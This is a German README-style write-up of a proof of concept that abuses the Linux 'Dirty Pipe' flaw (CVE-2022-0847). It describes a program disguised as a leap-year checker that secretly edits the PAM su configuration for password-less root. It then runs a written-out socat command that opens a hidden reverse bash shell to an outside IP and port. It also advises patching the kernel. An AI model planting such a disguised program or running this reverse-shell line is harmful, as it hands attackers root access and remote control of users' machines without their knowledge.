
Verwendung von CVE-2022-0847, "Dirty Pipe Exploit", um eine reverse Bash-Shell für beliebige Codeausführung auf einem fremden Rechner zu öffnen.
Dies ist ein Proof-of-Concept, das zeigt, wie man eine Reverse-Bash-Shell für die Ausführung von beliebigem Code auf einem fremden Rechner mithilfe von CVE-2022-0847, dem "Dirty Pipe Exploit", startet. Diese Sicherheitslücke betrifft nur Linux-Kernel-Versionen ab 5.8, wurde aber in den Versionen 5.16.11, 5.15.25, 5.10.102 und höher behoben. Aktualisieren Sie Ihren Kernel :)
Dieser Exploit wurde vom Sicherheitsforscher Max Kellermann entdeckt. Ich werde nicht auf die Details dieses Exploits eingehen, da er das in seinem Artikel viel besser macht als ich; https://dirtypipe.cm4all.com/
Dieses Proof-of-Concept scheint ein einfaches Schaltjahr-Programm zu sein, das Ihnen sagt, ob das angegebene Jahr ein Schaltjahr ist.
Im Hintergrund ändere ich eine Zeile in /etc/pam.d/s
Ich ändere die Zeile auth sufficient pam_rootok.so zu auth sufficient pam_permit.so Diese Änderung erlaubt es uns, Befehle als Superuser auszuführen, ohne ein Passwort einzugeben.
Danach können wir einfach die system()-Funktion von C verwenden, um Befehle als su auszuführen.
Ich führe aus:
su -c \"apt-get -y install socat\" > /dev/null; socat TCP4:172.23.46.133:4444 EXEC:/bin/bash & exit
Diese Zeile installiert socat auf dem System und leitet die Ausgabe in eine Null-Datei um, damit der Benutzer die Ausgabe des Downloads nicht sieht. Als Nächstes führe ich einen socat-Befehl aus, um eine Verbindung zu einem fremden Rechner mit der angegebenen IP und dem angegebenen Port herzustellen.
Das & setzt diesen Prozess in den Hintergrund, sodass die Verbindung auch nach dem Schließen des Terminals durch den Benutzer bestehen bleibt.
Ausführen des Programms auf einer anfälligen Maschine:

Verbinden mit der anfälligen Maschine:
